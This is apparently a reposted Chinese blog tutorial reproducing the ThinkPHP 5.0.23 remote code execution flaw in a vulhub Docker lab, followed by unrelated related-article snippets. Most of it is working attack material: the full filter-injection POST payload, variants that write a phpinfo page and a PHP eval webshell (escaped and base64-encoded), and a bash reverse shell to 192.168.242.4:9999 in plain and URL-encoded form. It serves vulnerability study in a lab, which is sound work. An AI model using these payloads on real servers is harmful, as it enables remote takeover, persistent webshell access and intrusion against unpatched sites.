Thinkphp5.0.23远程代码执行漏洞复现

news2024/10/7 20:31:52

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、漏洞介绍

使用Thinkphp5.x远程代码执行漏洞,无需登录即可执行任意命令,获取服务器最高权限。漏洞影响范围:5.x < 5.1.31; 5.0.x <=5.0.23,该漏洞出现的原因在于Thinkphp5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到Thinkphp框架内部的敏感函数,进而导致getshell漏洞。

2、启动靶场环境

kali系统启动thinkphp5.0.23,使用以下命令:

# 先启动docker
service docker start

# 先切到对应目录
cd /home/kali/vulhub-master/thinkphp/5.0.23-rce

# 编译环境(可选)
docker-compose build 

# 运行环境
docker-compose up -d 

# 会看到关键字done,表示运行结束

# 查询当前目录下的服务是否启动
docker-compose ps

访问地址:http://your-ip:8080/

关于环境准备,请参阅《kali系统安装docker和部署vulhub服务》。

3、远程代码执行poc确认

使用firefox浏览器,安装插件:HackBar

访问地址:http://your-ip:8080/index.php在后面拼接上?s=captcha,访问会提示页面错误,按F12打开调试,切换到HarBar,点LoadURL按钮把页面请求的url 加载到请求框,打钩Post data,输入以下POC

# 注意如果是自己手敲的话,construct前面是两个下划线
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

执行点Execute按钮
在这里插入图片描述

验证过程,可在[REQUEST_METHOD]后修改命令,我的thinkphp是在部署在kali系统,相关命令是以linux系统的

4、一句话木马-phpinfo

在【第3、远程代码执行poc确认】步骤的基础上修改poc,写入shell,访问是否可解析

# 注意如果是自己手敲的话,construct前面是两个下划线
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php phpinfo(); ?>" > info.php

提交后访问:http://192.168.242.4:8080/info.php,发现解析成功了。

路径就是跟index.php同一级,名称写入时自定义的。

在这里插入图片描述

5、一句话木马-远程连接

在【4、一句话木马-phpinfo】步骤的基础上修改poc,写入shell,使用蚁剑连接访问是否成功。

注意在版本:5.0.23, 符号会被过滤掉,需要在 符号会被过滤掉,需要在 符号会被过滤掉,需要在前面加上\进行转义

参考博客【转义方式】:https://blog.csdn.net/ffff5/article/details/117004350

参考博客【Base64编码方式】:https://www.cnblogs.com/–kisaragi–/p/15315131.html

5.1、使用转义的方式
# 注意如果是自己手敲的话,construct前面是两个下划线
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST['123']);?>" > lksh.php
5.2、使用Base64编码形式

把一句话木马,放到在线网站:https://base64.us/进行编码

# 编码前内容
<?php @eval($_POST['123']);?>

# Base64编码后
PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=

# server[REQUEST_METHOD]=后接的内容修改为
echo "PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=" | base64 -d > lksh.php

# 整句poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=" | base64 -d > lksh.php

提交后,使用蚁剑连接访问:http://192.168.242.4:8080/lksh.php,发现解析成功了。

路径就是跟index.php同一级,名称写入时自定义的。

在这里插入图片描述

6、反弹shell

6.1、在攻击机开启监听

自己测试用同一台kali搭建靶场和做攻击机,所以ip会一样,但端口肯定不一样。使用nc命令开启监听,用于反弹shell

# 端口自定义,kali系统的ip: 192.168.242.4
nc -lvvp 9999

# 提示以下信息表示监听成功
tening on [any] 9999 ...
6.2、poc编写

由于反弹shell原文poc在提交时,提交时没任何反应,需要进行进行特殊字符编码后再提交,编码网址:https://www.bejson.com/enc/urlencode/

# server[REQUEST_METHOD]=后反弹shell原文
/bin/bash -c "bash -i >& /dev/tcp/192.168.242.4/9999 0>&1"

把上面的原文复制到在线网址进行编码,得到以下内容,然后再进行拼接全文poc

# 反弹shell原文的特殊符号编码后的内容
%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.242.4%2F9999%200%3E%261%22

在这里插入图片描述

从上面得到编码后的poc进行拼接全文poc

# 拼接全文poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.242.4%2F9999%200%3E%261%22
6.3、poc执行

同样使用HackBar执行提交

在这里插入图片描述

6.4、反弹shell成功

发现kali系统的开启nc监听的地方有变化,而且可以执行查询命令,反弹shell成功

在这里插入图片描述

7、下期内容预告

下期会分享Struts2远程代码执行漏洞复现,敬请关注我的公众号:大象只为你,持续更新中…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1426146.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

操作系统--进程、线程基础知识

一、进程 我们编写的代码只是一个存储在硬盘的静态文件&#xff0c;通过编译后就会生成二进制可执行文件&#xff0c;当我们运行这个可执行文件后&#xff0c;它会被装载到内存中&#xff0c;接着 CPU 会执行程序中的每一条指令&#xff0c;那么这个运行中的程序&#xff0c;就…

python爬虫-多线程-数据库——WB用户

数据库database的包&#xff1a; Python操作Mysql数据库-CSDN博客 效果&#xff1a; 控制台输出&#xff1a; 数据库记录&#xff1a; 全部代码&#xff1a; import json import os import threading import tracebackimport requests import urllib.request from utils im…

博客文章质量分数列表【分页、排序、搜索】

文章目录 一、分析二、代码1、前端代码2、后端代码 三、实现效果四、总结1、出现安全验证2、401 Unauthorized: [no body] 一、分析 官方提供的质量分查询入口&#xff1a;CSDN质量分 输入我们要查的文章即可&#xff0c;比如&#xff1a;https://blog.csdn.net/qq_36433289/a…

开发板——X210开发板的SD卡启动方式

以下内容源于朱有鹏嵌入式课程的学习与整理&#xff0c;如有侵权请告知删除。 参考博客&#xff1a; S5PV210 SD卡启动 - 简书 关于存储器的相关基础知识&#xff0c;见博文&#xff1a; 外存——SD卡/iNand芯片与S5PV210的SD/MMC/iNand控制器-CSDN博客 RAM、ROM和FLASH三…

了解WPF控件:TreeView常用属性与用法(十五)

引言 TreeView控件是WPF&#xff08;Windows Presentation Foundation&#xff09;中用于显示分层数据的常用控件。这个控件允许用户以树形结构展示数据&#xff0c;使得数据更加清晰易懂。在创建文件浏览器、组织结构图等应用程序时&#xff0c;TreeView控件非常有用。 Tree…

R语言入门笔记2.0

1.创建数据框 在R语言中&#xff0c;可以使用data.frame函数来创建数据框。以下是一个简单的示例&#xff0c;这段R语言代码创建了一个名为student的数据框&#xff0c;其中包含了学生的ID、性别、姓名和出生日期&#xff0c;首先创建一个包含学生出生日期的向量&#xff0c;再…

探秘本庄村果园预售系统的技术之旅

✍✍计算机编程指导师 ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡ Java实战 |…

【MCAL】TC397+EB-tresos之GPT配置实战 - 定时器

本篇文章介绍了在TC397平台使用EB-tresos对GPT驱动模块进行配置的实战过程,不仅介绍了使用GTM来实现定时器的方案&#xff0c;还介绍了基于GPT12来实现连续定时器的实例。因为GTM是德国博世公司开发的IP&#xff0c;而英飞凌的芯片集成了这个IP&#xff0c;并在这个基础上搭建了…

Pytest 与allure测试报告集成

通过Feature, story, step 记录测试的功能&#xff0c;场景及测试步骤 # login.pylogin_func函数 传入参数是name 和 password 当输入的name和password与数据库db_data中数据一致时&#xff0c;返回“XXX成功登录系统&#xff01;” 当输入的name存在于数据库db_data但密码不正…

双非本科准备秋招(13.1)—— 力扣 栈、队列与堆

1、103. 二叉树的锯齿形层序遍历 昨天做的二叉树的层序遍历&#xff0c;把代码直接拿过来。 这个题要求的是一个Z型遍历&#xff0c;如下图。 用一个变量f记录正反顺序&#xff0c;然后使用LinkedList记录答案&#xff0c;下图可以看到LinkedList继承了Deque&#xff0c;所以…

【知识图谱--第一讲概论】

深度学习–连接主义 知识图谱–符号主义 表示 有属性图和RDF图两种 RDF由三元组表示&#xff1a;Subject - Predicate - Object 存储 图数据库 抽取 融合 推理 问答 图算法

Linux:进程信号的概念与产生原理

文章目录 信号的概念实践信号关于前台和后台进程的操作 操作系统与外设信号的产生signal系统调用 前面的篇章结束了信号量的话题&#xff0c;那么接下来引入的是信号的话题&#xff0c;信号和信号量之间没有任何关系&#xff0c;只是名字比较像 信号的概念 在生活中存在各种各…

linux麒麟系统安装mongodb7.0

1.mogedb下载 下载的是他tar包 https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-rhel80-7.0.5.tgz wget -o https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-rhel80-7.0.5.tgz 也可以下载rpm包 2.将包上传至服务器并解压 #进入目录 并解压 cd /opt/ tar…

Linux ---- Shell编程之免交互

一、Here Document 多行重定向 1、Here Document定义 使用I/O重定向的方式将命令列表提供给交互式程序标准输入的一种替代品Here Document 是标准输 入的一种替代品&#xff0c;可以帮助脚本开发人员不必使用临时文件来构建输入信息&#xff0c;而是直接就地生产出一个文件…

技术科普 | 机器视觉5大关键技术及其常见应用

计算机视觉是指&#xff1a;让机器通过数字图像或视频等视觉信息来模拟人类视觉的过程&#xff0c;以达到对物体的理解、识别、分类、跟踪、重建等目的的技术。它是人工智能领域中的一个分支&#xff0c;涉及图像处理、模式识别、机器学习、深度学习等多个领域。 随着人工智能和…

7.2、子集求和问题与背包密码系统

7.2、子集求和问题与背包密码系统 一、数学描述 1.1、第一种描述 20 世纪 70 年代末&#xff0c;默克尔和赫尔曼首次尝试将密码系统建立在一个 NP-完全问题上。他们使用了以下数学问题的一个版本&#xff0c;该问题是对经典knapsack问题的概括。 子集和问题 假设你有一个正…

数据结构——链式二叉树(3)

本篇文章我们依然讲解链式二叉树的OJ题&#xff1b; 一、二叉树的层序遍历 层序遍历即从根节点开始一层一层的遍历。我们可以运用队列的先进先出特性实现&#xff01; //层序遍历 void a(BTNode* root) {Que qhead;Queueinit(&qhead);//先入队根节点if(root)QueuePush(&…

C#,计算几何,随机点集之三角剖分的德劳内(Delaunay)算法的源代码

一、三角剖分Delaunay算法简介 点集的三角剖分&#xff08;Triangulation&#xff09;&#xff0c;对数值分析&#xff08;比如有限元分析&#xff09;以及图形学来说&#xff0c;都是极为重要的一项预处理技术。尤其是Delaunay三角剖分&#xff0c;由于其独特性&#xff0c;关…

LeetCode: 160.相交链表(令人赞叹的优雅)

160. 相交链表 - 力扣&#xff08;LeetCode&#xff09; 目录 官方双指针解法&#xff1a; 博主的辣眼代码&#xff1a; 每日一表情包&#xff1a; 博主还未学习哈希表&#xff0c;所以介绍的是双指针法&#xff0c;此题的哈希表解法时O&#xff08;nm&#xff09;空O&…

MySQL窗口函数--lead()函数

lead()函数&#xff1a; 查询当前行向下偏移n行对应的结果 该函数有三个参数&#xff1a;第一个为待查询的参数列名&#xff0c;第二个为向下偏移的位数&#xff0c;第三个参数为超出最下面边界的默认值。 如下代码&#xff1a; 查询向下偏移 2 位的年龄 SELECT user_id,user…